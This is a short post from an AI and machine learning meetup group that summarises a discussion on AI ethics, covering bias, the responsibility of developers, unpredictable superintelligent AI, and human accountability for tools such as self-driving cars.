Ethical AI AW
How can we demand that AI should be ethical when humans cannot unite on a definition of which ethics are the right ones?
Eight monkeys in a barrel, forced the rain to try to get some clarity in this question. After some discussions on what ethics actually is and what we view as AI, we found some common ground that might improve the future discussions on this topic.
Who makes the rules?
How to discover biases?
Are machines in companies ethical?
Can we build in ethics in the algorithms?
What responsibilities should never be delegated to AI?
To begin answering the questions above we need to realize that we can talk about AI in two contexts. One is the sentient AI that is a thousand times more intelligent than humans, in which case our ethics probably are as relevant to the robot as ant ethics are to humans. Regardless of how many rules we force on to the AI it will be the one making the decision if it will apply them or not. Since we humans act on many drivers like survival, procreation and other more social drivers that effect our daily choices. The computer is relieved of most of these. The decisions and choices made by a self-aware AI is therefore hard to predict. We can only hope that it is fully satisfied abiding to the human’s requests, and that it does not produce another reward function than to please humans.
The other context, that is getting increasingly relevant today is the ethics of the developers and scientists creating "smart" algorithms. There are already many cases where algorithms got trained on biased data and computers that make decisions in situations that no developer has foreseen.
To day you can still look at AI as a tool, designed by humans. As a tool, it is the creator and user of that tool that has the responsibility for how the tool is being used. Even a self-driving car is an advanced tool. And even if the car can drive without a driver, it should still be a human that bares the responsibility for the car. The process of figuring out who is responsible for an accident just got a lot more technical. But since there will be plenty of data as evidence, it will probably be easier to figure out who is to blame.
Do not miss another interesting meetup, join our group, and share your thoughts on interesting topics regarding AI and ML.
- Afterwork